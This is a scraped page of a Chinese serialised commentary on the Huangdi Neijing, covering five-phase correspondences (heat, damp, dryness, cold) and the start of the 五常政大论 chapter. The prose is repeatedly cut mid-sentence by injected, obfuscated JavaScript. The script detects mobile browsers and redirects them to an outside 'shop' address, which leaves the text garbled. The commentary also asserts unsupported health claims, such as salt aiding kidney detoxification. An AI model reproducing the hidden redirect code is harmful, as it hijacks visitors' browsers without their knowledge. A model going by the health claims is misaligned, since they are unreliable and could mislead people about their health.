“火能生苦味”，这是基于五行学说中的相生关系。五行中，火生土，而苦味在五味中往往与土（脾胃）相关联，但此处的“生苦味”更多是指火热之气过旺时，可能使人体产生对苦味物质的感知增强或需要，或者是通过某些苦味食物来调和体内过盛的火热之气。 “苦味入心，滋养心脏”，这一说法在中医理论中强调了五味与五脏的对应关系。苦味入心，并非指苦味食物直接滋养心脏，而是通过调节心的生理功能，如清心除烦、安神定志，从而间接起到对心脏的保健作用。在中医看来，心主血脉，藏神志，保持心的平和与稳定对于整体健康至关重要。 心能生血，心气通过血以滋养脾脏”，这进一步阐述了心与脾之间的密切联系。心主血，脾统血，心血充足则能化生脾运所需的营气，而脾的运化功能正常又能为心血生成提供充足的原料，二者相互依存，相互促进。这种关系不仅体现在物质层面的营养供给上，更体现在精神层面的相互调节上，如“思伤脾”，过度的思虑会损伤脾气，而脾气虚弱又会影响心血的化生，导致心神不宁。 “在天应在热”，我们可以理解为宇宙间能量的释放与聚集，如同太阳的炽热光芒，它是自然界中最直观、最宏大的“变化莫测”之力。这种热量不仅滋养万物，也象征着神只那无尽而炽热的生命力与创造力。 “在地应在火”，则是将这种能量具象化到地球之上。火，作为自然界中的一种基本元素，既能带来温暖与光明，也能引发毁灭与重生。它象征着地球内部蕴藏的无限活力与变革力量，正如神只那不可预测却又充满希望的意志。 在人体应在脉”这一中医理论精髓时，我们不得不为古人的智慧所折服。这里的“脉”，其内涵远不止于我们肉眼可见的血脉那么简单，它更是一个涵盖了经络系统的宏大概念。经络，这一古老而神秘的存在，如同人体内部的交通网络，连接着五脏六腑、四肢百骸，是气血运行的重要通道。 当我们说“脉是气血运行的通道”时，其实是在强调气血在人体内循环不息、滋养万物的关键作用。气血的充足与顺畅，直接关系到人体的健康与生命活力。正如河流之于大地，气血之于人体，一旦堵塞或枯竭，便会导致各种疾病与不适。 而“神”在人体中的体现，正是通过这脉的搏动与运行来展现的。这里的“神”，可以理解为生命活动的总体现，是生命力的象征，也是人体内外环境相互作用的产物。当气血在经络中畅通无阻、运行有序时，人体的各个系统便能够和谐共生，展现出勃勃生机与无限可能。这种生命的活力与变化无常的特质，正是“神”在人体中的真实写照。 我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428790|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情绪、思维乃至生命力，都在不断地变化与流动之中。这种变化，既是生命本身的特点，也是“神”在人体中发挥作用的结果。当我们感受到快乐、悲伤、愤怒等各种情绪时，其实都是气血在经络中运行变化的一种反映。同样，我们的思维活动、决策过程等，也都需要气血的滋养与推动。因此，保持气血的畅通与平衡，对于维护人体的健康与生命活力至关重要。 气”与“阳气”这一对中医哲学核心概念时，我们仿佛踏入了一个既古老又神秘的领域。首先，让我们来揭开“气”的神秘面纱。在中医理论中，“气”是一个极为宽泛而深刻的概念，它不仅仅指代我们呼吸的空气，更是自然界万物生长、发育、变化的根本动力，是生命力的源泉。它无处不在，无时不有，贯穿于天地之间，也渗透于人体之内。 而“阳气”，则是这浩瀚“气”海中的一股温暖而升发的力量。如果说“气”是生命的底色，那么“阳气”便是这幅画卷上最鲜亮的一笔。它如同春日里温暖的阳光，驱散寒冷，唤醒沉睡的大地，让万物复苏，生机勃勃。在人体内，阳气同样扮演着至关重要的角色，它推动着气血的运行，维持着脏腑的功能，是生命力蓬勃向上的象征。 “阳气生长”，这四个字蕴含着自然界与人体生命力的双重寓意。在自然界中，它意味着春天的到来，冰雪消融，草木萌发，万物都在这温暖的阳光下茁壮成长。而在人体内部，阳气的生长则体现在身体机能的逐渐增强，精神状态的日益饱满，以及对疾病抵抗力的提升。这种生命力的增长与变化，正是“神”在气中的具体表现，它让生命充满了无限的可能与希望。 这章没有结束，请点击下一页继续阅读！ 第31章 （6）揭秘湿：如何应和人体，影响万物生化奥秘 黄帝说：湿与人体是怎样应和的呢？对于万物的生化，又有什么关系呢？ 岐伯说：中央应长夏而生湿”这里的“中央”，不仅仅是指我们脚下这片广袤大地的地理中心，更是五行学说中“土”属性的象征性居所。土，作为五行之母，承载着万物，滋养着生命，其特性在长夏时节得到了淋漓尽致的展现。 长夏，这个介于夏季与秋季之间的温柔过渡期，仿佛是大自然特意为“湿”这一气候现象铺设的舞台。此时，气温虽高，但已不似盛夏那般酷热难耐；雨水渐丰，空气中弥漫着一种特有的湿润与生机。这种湿润，正是土之气在自然界中的具象化表现，它如同一位慈爱的母亲，用她那温柔而坚韧的力量，滋养着每一寸土地，催生着万物的生长与繁衍。 在中医理论中，湿被视为一种重要的气候因素，它既是生命之源，也是疾病之根。适量的湿气能够润泽万物，促进生物体的新陈代谢和生长发育；但过量的湿气则会导致环境潮湿、空气污浊，进而引发人体内的湿气过重，出现一系列健康问题，如脾胃不和、关节疼痛、皮肤湿疹等。 因此，中医强调“天人合一”，认为人与自然是一个不可分割的整体。在长夏时节，人们应顺应自然规律，适当调整生活方式和饮食习惯，以维持体内外环境的平衡与和谐。比如，可以多吃一些具有健脾祛湿作用的食物，如薏米、红豆、冬瓜等； “湿能生土”，这里的“生”并非指物理上的产生，而是指湿气的滋养使得土地肥沃，为植物生长提供了良好的环境，进而引申为五行间相生相长的关系。在人体内部，这种关系体现在脏腑之间的功能协调上。 “土能生甘味”，这里的“土”在中医中常用来指代脾胃，脾胃为后天之本，负责运化水谷精微，化生气血。甘味食物入脾，能够补益脾胃之气，促进消化吸收，正如肥沃的土地滋养作物一般。 “甘味入脾，能滋养脾脏”，这体现了中医食疗的理论，即通过食物的味道来调节脏腑功能，甘味食物温和补益，有助于增强脾胃功能，从而保持身体的健康平衡。 “脾能滋肌肉”，脾胃功能强健，则气血生化有源，肌肉得以充分滋养，表现为肌肉丰满有力，身体强健。这也是中医“脾主肌肉”理论的具体体现。 “脾气通过肌肉而滋养肺脏”，在中医理论中，五脏之间存在着密切的联系，脾与肺通过经络相连，脾气健运，则气血充足，能够滋养全身，包括肺脏。同时，中医还强调“肺主皮毛”，肺的功能强健，也有助于肌肤的润泽和抵御外邪。 在中医的宇宙观中，天地人三才相应，万物皆由五行（金、木、水、火、土）构成并相互制约、相生相克。您所描述的“在天应于湿，在地应于土，人体应于肉，在气应于物体充盈，在脏应于脾”，正是五行中“土”属性的具体体现，以及它如何贯穿于自然界与人体之间的微妙联系。 1. 在天应于湿：这里的“湿”并非单纯指潮湿，而是五行中土之气的特性之一，表现为润泽、滋养。在自然界中，土能吸水存湿，滋养万物，正如天空适时降下甘霖，润泽大地，使得万物生长。这种“湿”的调控，是土行在天象中的表现。 2. 在地应于土：此句直接点明了土在五行中的核心地位。在地球上，土壤是生命的基础，承载着万物，滋养着根系，是自然界中“土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428791|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的直接体现。 3. 人体应于肉：在中医理论中，人体的肌肉与脾土密切相关。脾主运化，将水谷精微转化为气血，滋养全身，特别是肌肉。因此，肌肉的丰满与否，往往反映了脾土功能的强弱。 4. 在气应于物体充盈：这里的气，可以理解为自然界中土行所蕴含的生命力或能量，它使得万物得以生长、充盈。在人体，这种“气”的充盈则表现为生命力旺盛，气血充足，体态健康。 5. 在脏应于脾：脾为后天之本，气血生化之源。在五脏之中，脾土起着至关重要的作用，它不仅参与水谷的消化吸收，还负责将水谷精微转化为气血，输布全身。因此，脾的功能状态直接关系到人体的整体健康状况。 其性安静能兼化万物：这里所指的，或许可以类比于五行中的“土”性。土，稳重而安静，却能包容万物，滋养生长。在自然界中，土壤是万物生长的基础，它静静地承载着生命的重量，无声地滋养着每一寸土地上的生命。这种“安静能兼化万物”的特质，正是土性之美的体现。 其德为濡润：德，在此可理解为特性或功能。土之德，在于濡润。正如春雨绵绵，润物无声，土壤以其特有的方式，为万物提供必要的水分和养分，使它们得以茁壮成长。这种濡润之德，是土对生命最温柔的呵护。 其功用为生化：生化，即生长变化。土是万物生长的摇篮，它不仅是植物根系的栖息地，更是整个生态系统中物质循环和能量流动的重要环节。土的生化功能，体现在它能够促进生物体的新陈代谢，推动自然界的生生不息。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第31章 （7）揭秘燥：如何应和人体，影响万物生化奥秘 当我们说“西方生燥，燥生金”时，这里的“西方”确实不是简单指地理上的方位，而是五行理论中的一个抽象概念，与“金”这一元素紧密相连，共同构建了一个描述宇宙万物生成、变化规律的框架。 在中医五行学说中，金、木、水、火、土五种元素不仅代表了自然界的五种基本物质形态，更蕴含了丰富的哲学思想和生命智慧。其中，“金”元素对应着收敛、沉降、清凉的特性，这与秋季的自然景象不谋而合。秋季，作为四季轮回中的收获季节，万物经过春夏的蓬勃生长后，开始逐渐收敛、成熟，空气也变得干燥而清爽。这种季节性的变化，正好契合了“金”元素所代表的特质。 因此，“西方生燥，燥生金”这句话，可以理解为在五行理论的框架下，对秋季气候特点及其与金元素相互关系的深刻阐述。它告诉我们，自然界的每一个细微变化，都蕴含着五行生克制化的哲理，而人类作为自然界的一部分，也应当顺应这些变化规律，调整自己的生活方式，以达到与自然和谐共生的目的。 当然，这不仅仅是一种理论上的探讨，更有着深刻的实践意义。比如，在秋季养生方面，我们就可以根据“金”元素的特性，多吃一些具有润肺、养阴、润燥功效的食物，如百合、莲子、银耳等，以缓解秋季干燥带来的不适。同时，也要注意保持心情的平和与宁静，避免过度悲伤或烦躁等情绪对身体的伤害，这也是“金”元素所倡导的收敛、沉降之美的体现。 “金生辛，辛生肺”，这里的“辛”是五味之一，与金行相应，具有发散、行气的作用。在中医理论中，辛味食物或药物能够入肺经，帮助肺气宣发，促进呼吸道的畅通。因此，“金生辛，辛生肺”揭示了金行与辛味、肺脏之间的相生关系。 “肺生皮毛”，肺主皮毛是中医理论中的一个重要观点。皮毛是人体最外层的防御屏障，其荣枯润泽与肺气的盛衰密切相关。肺气充足，则皮毛得以滋养，表现为皮肤光滑、毛发润泽；肺气虚弱，则皮毛失养，出现皮肤干燥、毛发枯槁等现象。 “皮毛生肾”，这里的“生”并非指直接的生成关系，而是指皮毛作为人体与外界环境接触的界面，其健康状态能够反映并影响肾的功能。中医认为，肾为先天之本，主藏精，其华在发。皮毛的荣枯与肾精的充盈与否有着密切的联系。当皮毛得到良好的滋养时，能够间接地促进肾精的充盛；反之，皮毛失养则可能暗示着肾精的亏虚。 综上所述，“西方生燥，燥生金，金生辛，辛生肺，肺生皮毛，皮毛生肾”这一连串的相生关系，体现了中医理论中五行学说与脏腑经络的紧密联系。它告诉我们，自然界的变化能够影响人体的生理功能，而人体内部的各个系统之间也是相互依存、相互影响的。因此，在日常生活中，我们应该注意顺应自然规律，保持身心健康。 “在天为燥”，这里的“天”指的是自然界的天象、气候，而“燥”则是秋季的主气，代表着一种干燥、收敛的特性。秋季来临，万物开始收敛，空气也变得干燥起来，这正是“在天为燥”的生动体现。 “在地为金”，五行学说中，金与秋季、西方、干燥等相对应。在自然界中，金往往与矿石、金属等坚硬、沉重、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428792|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光泽的物质相联系，但在这里，“在地为金”更多地是借用了金的象征意义，即代表了一种收敛、沉降、清凉的能量。 “在体为皮毛”，中医理论认为，人体的皮毛与肺脏有着密切的联系。皮毛作为人体的第一道防线，其荣枯润泽与肺气的盛衰密切相关。肺气充足，则皮毛得以滋养，表现为皮肤光滑、毛发润泽；肺气虚弱，则皮毛失养，出现皮肤干燥、毛发枯槁等现象。因此，“在体为皮毛”揭示了肺脏与人体皮毛之间的紧密关系。 “在气为成”，这里的“气”指的是自然界中的气化作用，而“成”则代表着一种成熟、收获的意义。秋季是万物成熟的季节，农作物丰收，果实累累，这正是自然界气化作用达到顶峰的表现。在人体内部，这种“成”的气化作用则体现在肺脏对气血的生成和输布上，肺脏通过呼吸运动，将自然界的清气吸入体内，与脾胃化生的水谷精微相结合，形成宗气，进而化生为全身的气血。 “在藏为肺”，这里的“藏”指的是人体的五脏六腑，而“肺”则是其中之一。肺脏在中医理论中占据着极其重要的地位，它不仅是呼吸系统的核心器官，还参与着气血的生成和输布、水液的代谢等多个生理过程。因此，“在藏为肺”强调了肺脏在人体内部的重要性。 “其性为凉，其德为清”，这是对肺脏特性的进一步阐述。肺脏性喜清凉，厌恶燥热，其生理功能的发挥需要保持一定的凉爽和清洁。同时，肺脏还具有清肃之德，能够清除体内的浊气和异物，保持呼吸道的畅通和洁净。 这章没有结束，请点击下一页继续阅读！ 第31章 （8）揭秘寒：如何应和人体，影响万物生化奥秘 在探讨这一连串的中医理论时，我们仿佛踏入了一场精妙绝伦的自然与人体相互映射的哲学之旅。首先，让我们以更加贴近现代科学与传统文化的桥梁来解读这一连串的“相生”关系。 “北方应冬而生寒”，这一古语，不仅勾勒出一幅冬日北国的壮丽画卷，更蕴含了古人对自然界与人体微妙关系的深刻洞察。在古人的世界观里，四季更迭、地理方位与气候特征紧密相连，共同编织着宇宙间和谐共生的序曲。 从自然科学的角度来看，冬季北方地区确实因地球公转轨道位置的变化，导致日照时间显着缩短，太阳辐射能量减弱，加之北方地区纬度较高，接受到的太阳直射热量本就有限，加上地面辐射散热快，共同作用下形成了寒冷的气候特征。这种自然现象，直观地体现在了“北方应冬而生寒”的描述之中。 转而论及中医理论，古人将自然界的寒冷与人体内部的生理变化巧妙联系起来，认为寒冷之气具有“滋养”与“收敛”的作用。在中医五行学说中，冬季属水，水主藏，与肾相应，肾为先天之本，主藏精，主水液代谢，与人体生长发育、生殖繁衍及水液代谢平衡密切相关。冬季的寒冷，被视为自然界帮助人体“藏精纳气”、休养生息的外在表现，通过收敛阳气、减少活动，使体内精气得以蓄积，为来年的生长发育蓄积力量。 因此，在中医养生观念中，冬季养生重在“藏”与“补”，提倡保暖避寒，减少户外活动，适当进补以滋养身体，增强体质，这与“北方应冬而生寒”的自然现象相辅相成，体现了古人顺应自然、天人合一的哲学思想。 综上所述，“北方应冬而生寒”不仅是对自然界现象的描述，更是古人对宇宙万物间相互关联、相互影响的深刻理解，以及在此基础上形成的独特养生智慧的体现。 “寒能生水”，这里的“水”并非单指液态的水，而是中医五行学说中的水元素，代表着流动、变化与滋养。在自然界中，寒冷促使水汽凝结成水，而在人体内，寒凉的环境有助于体内阴液的平衡与调节，特别是与肾脏功能紧密相连的津液系统。 “水能生咸味”，这指的是在五行相生相克的理论框架下，水元素与咸味之间存在着相生关系。咸味入五脏之肾，中医认为适量摄入咸味食物有助于肾脏功能的发挥，但需注意过犹不及，过量则可能损伤肾脏。 “咸味入肾而能滋养肾脏”，这一观点强调了饮食与脏腑之间的密切联系。在中医养生中，通过调整饮食口味来调养脏腑是常见的方法之一。咸味归肾，适量摄入有助于肾脏的阴阳平衡，促进肾脏的代谢与排毒功能。 “肾能滋养骨髓”，肾脏作为先天之本，在中医理论中占据着举足轻重的地位。它不仅与生长发育、生殖繁衍密切相关，还通过其强大的生命力滋养着骨髓，为骨骼的强健提供物质基础。 “肾气通过骨髓而能滋养肝脏”，这里体现了中医理论中脏腑之间相互依存、相互滋养的复杂网络。肾气充足，则骨髓充盈，进而通过经络的传导作用，滋养肝脏，促进肝血的生成与疏泄，维持人体正常的生理功能。 综上所述，这一系列相生关系不仅是中医理论对自然界与人体内部相互作用的深刻洞察，也是指导我们日常养生、调理身体的重要原则。在现代生活中，我们或许无法直接感受到这种微妙的相生相克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428793|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但通过科学合理地安排饮食、作息，保持身心健康，便是对这一古老智慧的最好传承与实践。 当我们谈及“变化莫测的神”，这仿佛是在探索一种超越日常经验、深邃而玄妙的宇宙法则或生命力量。不过，既然你以如此具体的方式列举了它在不同领域的表现，我们不妨以一种既尊重传统又融合现代理解的视角来探讨。 首先，“在天应于寒”，这可以理解为自然界中，当神（或称之为宇宙规律、自然法则）显现于天时，它以一种冷静、收缩、内敛的力量存在，正如冬季的严寒，是自然界循环中不可或缺的一环，它促使万物休养生息，为来年的生机勃发作准备。 “在地应于水”，这里的“水”不仅是液态的存在，更是变化与适应的象征。水无形而有万形，随方就圆，这恰好体现了“神”那变化莫测、顺应环境的特性。在地球上，水循环不息，滋养万物，是生命之源，也是“神”在地面上最直观的体现之一。 “在人体应于骨”，从中医或传统文化的角度来看，骨骼是人体的支架，支撑着整个身体，同时也寓意着坚韧不拔、稳定不移的精神内核。当“神”在人体中显现时，它赋予了骨骼以力量和稳定性，使人体能够挺立于世，面对生活的种种挑战。 “在气应于物体坚实”，这里的“气”可以理解为构成物质的基本元素或能量场，而“物体坚实”则是这种能量场凝聚、固化后的表现。在物理学中，物质的硬度、密度等属性正是由其内部微观粒子的排列与相互作用决定的，这也可以看作是“神”在物质世界中以坚实形态的一种展现。 这章没有结束，请点击下一页继续阅读！ 第32章 五常政大论篇 谈及“五常政”，这仿佛是古代智慧天空下的一颗璀璨星辰，它不仅仅是对自然界五运（金、木、水、火、土）正常流转规律的深刻总结，更是古人对宇宙秩序、万物生长法则的独到见解。在《黄帝内经》等经典古籍中，“五常政”被赋予了极高的地位，它如同一位无形的君主，以其特有的方式调控着四时的更迭与万物的兴衰。 首先，让我们从字面上拆解“五常政”。“五”者，数之至也，代表着自然界的五种基本元素或力量；“常”则意味着恒常不变，是自然界运行所遵循的普遍规律；“政”，在此处可引申为“政令”、“法则”，即这些元素或力量在自然界中展现出的有序性和规律性。因此，“五常政”可以理解为五运（金、木、水、火、土）在正常时令下所遵循的恒定法则和规律。 具体到本文所讨论的内容，它深入探讨了五运如何在各自的时令内保持其正常性，即如何按照既定的节奏和规律影响气候、物候乃至人体的生理病理变化。这种探讨，不仅体现了古人对自然界精细入微的观察力和理解力，也为我们今天认识自然、顺应自然提供了宝贵的思想资源。 在中医理论中，“五常政”的思想被广泛应用于养生、治病等领域。它强调人体应与自然环境保持和谐统一，即“天人合一”。当五运正常时，人体内的五脏六腑、经络气血也会处于相对平衡的状态；反之，若五运失常，则可能导致人体出现各种疾病。因此，了解和掌握“五常政”的规律，对于指导我们日常养生、预防疾病具有重要意义。 综上所述，“五常政”作为古代中医理论中的重要组成部分，它不仅是对自然界五运正常流转规律的深刻总结，更是指导我们认识自然、顺应自然、保持身心健康的宝贵智慧。在今天这个快节奏、高压力的社会环境中，重温“五常政”的思想，或许能让我们在繁忙之余找到一丝宁静与和谐。 针对本篇主要内容，我们可以逐一深入探讨， 首先，关于“五运的平气，太过与不及的变化”，这仿佛是自然界的一场精妙舞蹈，五运（金、木、水、火、土）作为舞者，在舞台上（即时间与空间的交织中）演绎着平衡、过盛与不足的华丽篇章。平气时，万物生长有序，和谐共生；太过时，则如夏日酷暑，烈焰炎炎，可能带来干旱与灾害；不及则似冬日寒霜，万物凋零，生机难觅。这种变化不仅影响着自然界的万物生长，也微妙地作用于人体的健康与疾病状态，是中医理论中“天人合一”思想的生动体现。 接下来，“指出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428794|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四方地势有高低阴阳的差异，及这种差异对天地万物造成的影响和危害”，这仿佛是在绘制一幅宏大的地理与生态画卷。古人以独特的视角，洞察到地势的高低、阴阳的分布对气候、水文、植被乃至生物多样性的深远影响。高山之巅，云雾缭绕，气候凉爽；低洼之地，则可能湿气重重，易生疾病。这种地理环境的差异，不仅塑造了丰富多彩的自然景观，也决定了不同地域的文化特色与生活方式。同时，它也提醒我们，在利用自然资源、发展生产的同时，要尊重自然规律，避免过度开发带来的生态破坏。 最后，“提出一些重要的治疗原则”，这无疑是中医智慧的结晶。在治疗疾病时，中医强调“辨证施治”，即根据患者的具体病情、体质、年龄等因素，综合分析，制定个性化的治疗方案。这些治疗原则往往蕴含着深厚的哲学思想，如“治病求本”、“扶正祛邪”、“调整阴阳”等，旨在通过调和人体内部的失衡状态，恢复机体的自然平衡与健康。 综上所述，本篇内容不仅涵盖了五运变化的深奥理论，还深入探讨了地理环境对自然与人文的双重影响，并最终落实到具体而实用的治疗原则上。这既是对古代中医智慧的传承与发扬，也是对人类健康与自然和谐共生理念的深刻阐述。 第32章 （1）五运之气太过与不及 黄帝道：宇宙深远广阔无边，五运循环不息。其中有盛衰的不同，随之而有损益的差别，请你告诉我五运中的平气，是怎样命名？怎样定其标志的？ 岐伯说：平气”是一个极其重要的概念，它指的是自然界中五行之气调和、平衡的状态，也是万物生长化收藏所依赖的理想环境。岐伯所言，不仅仅是对自然现象的简单描述，更是对生命哲学和自然法则的深刻洞察。 木之“敷和：如同春日里温暖的阳光，轻轻拂过大地，万物复苏，绿意盎然。木气主生发，它散布的温和之气，如同母亲的怀抱，滋养着每一个生命的萌芽，使万物得以荣华，展现出勃勃生机。 火之“升明”：夏日炎炎，阳光炽烈，正是火之“升明”的写照。火气主长养，它带来的是明朗与繁荣，如同阳光普照，万物在阳光下茁壮成长，枝繁叶茂，展现出生命的盛景。 土之“备化：土，万物之母，承载着生命的重量，也孕育着无限的可能。土气主生化，它如同一位慈祥的工匠，用其丰饶的资源，精心雕琢着每一个生命体，使它们具备形体，逐步完善，终成万物之基。 金之“审平”：秋风送爽，金气肃杀而收敛。但这“审平”之气，并非单纯的摧毁，而是帮助万物成熟、结实，为来年的生长蓄积力量。它带来的宁静与和平，让万物在收获的季节里得以圆满，体现了生命的成熟与智慧。 水之“静顺：冬日寒水，虽冷冽却藏有生机。水气主收藏，它以一种寂静和顺的姿态，让万物归藏，沉入地底或水下，等待来年春天的再次唤醒。这种看似沉寂的状态，实则是生命循环不息、周而复始的奥秘所在。 岐伯的这一番话，不仅是对自然界五行之气的精妙阐述，更是对生命哲学的深刻思考。它启示我们，要顺应自然规律，保持内心的平和与和谐，才能与这个世界共生共荣，达到“天人合一”的至高境界。 黄帝问：五运不及是怎样的？ 岐伯说：当我们说“如果不及”，其实是在探讨五行之气在自然界中失衡、不足时所带来的种种影响。为我们描绘了这样一幅幅画面： 木之“委和”：想象一下，春日里本该是万物复苏、生机勃勃的景象，但若木气“不及”，就如同缺少了阳光的温暖，万物便显得萎靡不振，嫩绿的芽尖也失去了应有的活力，整个世界仿佛笼罩在一层淡淡的忧郁之中。 火之“伏明：夏日炎炎，本该是火势正旺之时，但若火气“不及”，就像是被云层遮蔽的太阳，少了那份炽热的温暖，万物便显得暗淡无光，连空气中都弥漫着一股沉闷与压抑，让人提不起精神。 土之“卑监：土，万物之母，若土气“不及”，则如同大地失去了滋养的力量，万物生长便显得萎弱无力，如同营养不良的孩子，难以茁壮成长。这样的土地，也难以孕育出丰饶的收获。 金之“从革：金，代表坚固与锋利，但若金气“不及”，则意味着失去了那份应有的坚硬与锐利。就像一把未经锻造的刀剑，质松无弹力，难以承担起切割与保护的重任。在自然界中，这或许表现为树木的枝干不够坚韧，难以抵御风雨的侵袭。 水之“涸流：水，滋养万物，但若水气“不及”，则如同干涸的河床，失去了流动与封藏的力量。万物因缺水而干枯，生命之源枯竭，整个生态系统都将面临严重的挑战。 黄帝问道：太过的怎样？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428795|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岐伯说：从自然哲学的角度来看，“太过”一词，在中医五行理论中，指的是某一元素（木、火、土、金、水）的力量超出了正常范畴，从而引发自然界一系列连锁反应。 木曰“发生：当木气过旺，如同春日里温暖的阳光提前降临，万物在不合时宜的温暖中过早苏醒，生长节奏被打乱，可能导致后续生长力不足或病虫害频发。 火曰“赫曦”：火气炽烈，如同夏日烈日炎炎，不仅烤焦了大地，也让万物感受到前所未有的压力与不安，生长环境变得恶劣，生态平衡受到威胁。 土曰“敦阜”：土本为万物之母，但过于厚重坚实，反而会抑制生命的萌发与成长，如同贫瘠之地，难以滋养万物，使其难以成形。 金曰“坚成*：金之气过于刚硬，虽赋予万物以坚韧之质，但过度则会使万物失去柔韧性，变得僵硬不化，生长停滞。 水曰“流行：水本应滋养万物，但泛滥成灾时，其强大的冲击力与无孔不入的能力，却能让万物失去根基，漂泊无依，无法安定生长。 接下来，从具体影响层面来说，这些现象不仅是对自然界的直接描述，也映射了人类社会可能面临的种种挑战与困境。比如，气候变化导致的极端天气，便是自然界“太过”的一种体现，它要求我们重新审视与自然的关系，寻求和谐共生的道路。 综上所述，岐伯的这番话，不仅是对自然界五行变化规律的深刻总结，更是对人类应当如何顺应自然、保护自然环境的警醒与启示。在快节奏的现代生活中，我们或许更应回归这份古老智慧，学会倾听自然的声音，尊重生命的节奏。 这章没有结束，请点击下一页继续阅读！ 第32章 （2）升明年份全方位解析 在探讨“升明的年份，南方火运正常行令，其德行普及四方，使五行气化平衡发展”这一话题时，我们实际上是在触及到中国古代哲学中一个深奥而精妙的领域。 当我们谈论“升明的年份”，这确实像是在翻开一本古老而神秘的中医或天文历法书籍的扉页，字里行间透露着五运六气理论的深邃与奥妙。在中医理论中，五运六气不仅是对自然界气候变化规律的总结，更是指导人体养生防病、预测疾病流行的重要理论体系。 “升明”一词，它描绘的是一幅光明普照、生长旺盛的画卷，这恰似火运太过之年的生动写照。在五行学说中，火代表着热烈、光明与生长，当火运过旺时，自然界便展现出如日中天、万物竞发的景象，这正是“升明”所寓意的。 具体到年份的推算，五运六气理论通过天文观测，结合天干地支的纪年法，来确定每一年的五运（金、木、水、火、土）属性及其强弱变化。若某一年被判定为火运太过之年，且其特有的运气变化与“升明”之象相吻合，那么这一年便可以被称为“升明的年份”。 在这样的年份里，自然界中的火元素会表现得尤为强烈，不仅气温可能偏高，而且万物生长的速度也会加快，呈现出一种生机勃勃、繁荣昌盛的态势。然而，火运太过也可能带来一些负面影响，如干旱、火灾等自然灾害的发生几率可能会增加，人体也容易出现与火相关的疾病，如心火亢盛、烦躁易怒等。 “南方火运正常行令”，则明确指出了在这一年份中，南方作为火行的主位，其气候特点将充分展现火的属性，如温暖、热烈，且这种火的力量将按照自然规律正常运作，不过度也不不及，从而保证了自然界的和谐与平衡。 “其德行普及四方”，这里的“德行”可以理解为火的正面影响力，即火的温暖、光明、生长之性，不仅限于南方，而是能够广泛传播至四方，促进万物生长，调节气候，使得整个自然界都沐浴在火运的恩泽之下，达到一种整体上的和谐与繁荣。 “使五行气化平衡发展”，则是对上述现象更深层次的阐释。在中医五行学说中，金、木、水、火、土五行相生相克，共同维持着自然界的动态平衡。火运太过之年，若火能正常行令，其德行普及四方，就意味着火的力量在推动万物生长的同时，也通过相生相克的关系，间接促进了其他四行的协调与平衡，从而实现了五行气化在更高层次上的和谐统一。 